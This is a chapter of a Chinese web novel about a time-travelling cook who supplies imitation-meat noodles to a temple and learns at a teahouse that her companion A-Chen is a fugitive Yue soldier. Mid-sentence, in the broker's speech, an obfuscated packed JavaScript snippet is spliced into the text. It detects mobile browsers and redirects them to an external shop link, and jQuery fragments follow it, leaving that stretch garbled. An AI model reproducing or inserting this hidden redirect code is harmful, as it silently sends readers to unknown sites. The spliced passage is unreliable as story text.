“住持请看。”
苏芸拿起筷子，轻轻夹断一块鸡排。鸡排里透着淡黄，不是寻常肉类的白色质地。
“我自然知道出家人不吃荤腥。所以这些都是豆制品仿的。”
住持的目光落在那块“鸡排”上。豆腐她吃了大半辈子，白的，嫩的，一夹就碎，寡淡无味。这女娃怕不是多加了些佐料，把味道浸进豆腐里，做了个样子吧。
不过也算费了番心思，想到这住持接过筷子咬了一口。
咦？
住持又咬了一口。
确实是豆腐，但跟她吃了大半辈子的豆腐完全不是一回事。质地润嫩，咬下去像咬在肉上，嚼几口豆香从舌根泛上来，和酱汁的咸鲜裹在一起，分不清哪一口是肉味哪一口是豆腐味。
“这真是奇了。”她把食盒往旁边推了推。“你们也尝尝。”
那几个小和尚馋得不行。住持一发话，几人七手八脚围了过来，食盒里的几碗仿荤面和甜食一扫而光。
“好吃！”方才在门口偷懒的小和尚嘴角挂着照烧汁，含糊不清道：“师兄你看，这位施主做的豆腐可比你做的好吃多了！”
而他口中的师兄正端着碗大快朵颐，压根顾不上回话。
苏芸冲阿沉眨了下眼。
这事儿，成了。
从寺庙出来时已近黄昏，雪已经停了。
苏芸和阿沉提着两个空食盒，怀里揣着一张度牒。
典座这差事每月三两白银，发的是实打实的银锭子，省了去钱庄兑换的手续费。而且南福寺有自己的口粮配额，除了寺里百余号和尚的口粮，连带他们三个也能沾点光，省下一笔伙食费。
三两银子不多，这活也累，每日还要早起一个时辰。
但它可以托底，以后再遇上雨雪天没生意，或是友商又复刻了什么菜，至少不用看着大幅度下滑的收入在那儿愁眉苦脸的。
走下山后，苏芸把食盒递给阿沉。
“你先回去。我要去趟茗香苑。”
阿沉看了眼天色，刚黑下来，乌云密布，兴许晚上还会下雨。
“晚上…危险。”他说。“一起。”
“啊。”苏芸一拍脑门。
她还真忘了这回事，现代的时候夜生活过惯了，玩到凌晨叫个车送到家门口，哪里担心过治安问题。
面馆在南镇西街，往茗香苑去要经过一个大交叉口，另一头是临城进出的唯一通道，白天人流密集，到了晚上三教九流什么人都有，有点像火车站似乱。
茗香苑里人不算多。苏芸拉着阿沉上了二楼，找了个靠窗的位置，古代的夜景还是蛮好看的，街道两侧亮起灯笼，把这些古典的建筑照出一层温暖的光晕。
就是可惜晚上人少，缺了人气，有些冷清。
在楼下正中摆着张条桌，那是说书先生的场子。
苏芸从前只在收音机里听过这个，顿时来了兴趣。
她点了一壶雪水云绿和两份鲜花饼，阿沉摇摇头，把自己那份推到苏芸面前。
苏芸没再客气，她真有点饿了。她把饼蘸在茶水里，酥香的饼皮和清甜的茶水混合在一起，好吃还顶饿。
一阵掌声响起，说书人登场。
“书接上回！常胜将军率十万大军北征越国，临行前在送别宴上立下军令状，要将越贼杀个片甲不留！”
有人接话：“越国是哪里啊？”
“这位客官问得好！”
“要说这越国，在大云北边，是个游牧的民族，不过万余口人。他们住的是破毡帐，骑的是骆驼。说话时一开口啊，那声音……”
“像是锯木头似的！”
“哈哈哈哈哈哈”说书人模仿得惟妙惟肖，整个茶馆顿时笑成一片。苏芸正喝着茶呢，听到这里噗嗤一声茶水都喷出来了。
“哈哈哈哈，这也太……”
苏芸笑着，然后脑子里下意识回味了一遍说书人刚才的话。
她的笑容消失了。
她这才注意到，阿沉没有笑。
“阿沉……”她刚想说点什么，店小二不合时宜地过来了，后面还跟着个穿灰袍的老头，那人是茗香苑的行老，苏芸来这里就是为了找他。
她只好暂时把心思收回来，开始和行老谈起正事。
“李行老，我家开面馆的，现在需要三个帮工，要力气大些的。”
雇三个人是她来的路上就算好的。寺庙百来号人的大锅饭光靠她一个人做不来，阿沉要劈柴打水，苏平之管跑堂算账，都不是合适的人选。
配菜她自己能搞定，但面团不行，上百人的份量，至少得三个人来揉。
李行老点点头，然后不露痕迹地快速打量苏芸一眼，随后笑眯眯报了价。
每人每天二百文。
苏芸心里价是六十文，这个价格实在是过高了。
但她忽然觉得很累，她没心思再砍了。
“行，就这个价。”苏芸说。“明日辰时您把人带到苏记面馆吧。”
说完苏芸掏出六十文，按规矩付了牙钱。
李行老差点没绷住，他飞快地收起六十文牙钱，心里乐开了花儿。
这真是天上掉馅饼阿！除了手里的六十文，他明日还能在三个帮工那抽一笔，这单生意足足赚了二百四十文！
哈哈！这女娃谈吐虽然成熟，但到底还是年纪太小，云洲话说得也别扭，肯定是外地来的。
哈哈，臭外地的！
回去的路上她和阿沉没有说话，有几次她想开口，阿沉却回避了她的目光。
苏芸心里很乱。
之前衙门上门的时候苏芸已经知道了，阿沉是越国人。
但她完全不了解这个朝代的国家局势，只以为越国是什么破落穷地方，阿沉冒着风险偷渡出来的。
她以为他只是个难民，想在云国讨个安稳生活。
原来是逃兵啊……
苏芸是穿越女，对这里没什么感情，也谈不上恨了。
————————————————————
翌日辰时，行老领着中人和十来个年轻汉子浩浩荡荡来了。估计是钱拿得多，他生怕这笔肥肉飞了，挑的全是强壮的年轻人。
苏芸仔细看了圈，然后选了其中三个。签字画押，剩余的由行老带走。
临走时那三人按规矩把分成交给李行老，他掂了掂，忽然指着其中一人。
“福子，你跟我出来。”
那名叫福子的看上去十七八岁，他跟着李行老来到街角。李行老摸出六十文钱递给福子。
“收回去，别和其他人说。”
福子愣住，连连摇头。“李叔，这不合规矩，我不能……
“什么规矩！老子就是规矩！”行老把铜钱塞进他手里，瞪着眼，“你家里还有生病的老母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488204|202112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等着钱用，跟我推辞个屁。收着！”
福子眼眶一酸，刚要道谢就被挥手打断。
“行了，快回去干活。多使些力气，别砸了老子的口碑。”
”哎！您放心！”
面馆里，苏芸浑然不知外面这段小插曲。她把面粉倒进盆里，开窝，加水，筷子搅成面絮。然后上手揉。干粉揉不进去就边揉边加水，直到揉出完整的面团。最后手沾清水，在面团上快速拍打。
啪啪啪啪啪。
面团变得光滑圆润。她把它放回盆里，盖上湿布。
“做完了。学会了吗？”
这活不难，但费力气，要手劲大，还要踏实不糊弄。苏芸给的工钱足，三人学得极认真，上手也快。灶房里很快响起此起彼伏的拍面声，啪啪啪，啪啪啪，和阿沉在院子里的劈柴声混在一起。
苏芸反复提醒他们勤洗手。吃进肚子里的东西，马虎不得。
今天时间紧，面馆挂了停业的牌子。苏平之和阿沉也来帮忙，五个人忙到午时前，终于做出了一百二十份仿荤面。出家人常年吃素口轻，她在保持鲜味的基础上刻意减淡了调料，怕他们吃得上火起泡。
做完之后五个人一起把热气腾腾的面条装入温盘，盖上盖子密封。七只巨大的朱漆食盒一字排开，苏芸又从柴房抱出一床旧棉被，阿沉已经有了新棉啦，旧的这床正好物尽其用。
苏芸用绳子扎了几个蝴蝶结把它们固定。
阿沉看了一眼。蹲下身，把蝴蝶结拆了。
他的手指飞快地绕了几圈，打了几个紧实的圆结。他用力拽了拽，绳子纹丝不动。
苏芸笑了一下。她和阿沉一起把食盒搬上雇好的牛车，目送他慢慢离去。
“阿沉一个人可以吗？”苏平之站在门口问。
”可以的，那段路不算危险。”苏芸说。
牛车在雪地里碾出两道长长的辙印，苏芸转身回了面馆。门口停业的牌子没收，雪天本来客人就少，加上她今天没有心思营业，索性休息一天。
苏平之也看出她不对劲，钻进灶房，一会儿端出两碗鸡蛋面来。
“芸儿，来尝尝，我做的～”
“哇，谢谢！”
苏平之原本不会做饭，跟着苏芸耳濡目染几个月，多少学了点皮毛。
苏芸接过碗筷夹了一口。面有点软了，但调味不错，上头还卧着一颗流心蛋。
筷子一戳，橙黄的蛋液淌出来，慢慢渗进面汤里。
苏平之自己那碗是全熟的，他不太理解苏芸为什么爱吃半生的蛋，但今天他特意做了一个。
他觉得苏芸现在需要。
苏芸吃着面，有一搭没一搭地和苏平之闲聊。可她的思绪已经飘回了昨天晚上，飘到茗香苑二楼的窗边。
“别看越国只是个弹丸之地，打起仗来凶残至极。大云十万兵马，折损了大半！”
“听说那边的神明赐给他们一种新型武器，叫火铳。隔着远远的距离，朝你一比划…”
啪！
说书人重重拍了下醒木，比了个一。
“就这么一下。打在人身上，立刻就没命咯！”
“虽然最后天佑我云国灭了那些越贼，但还有一波贼子趁乱逃进了云国。估计啊，是想着法子报复回来。”
然后她听见了那个声音。
咣当。
阿沉的茶杯打翻了。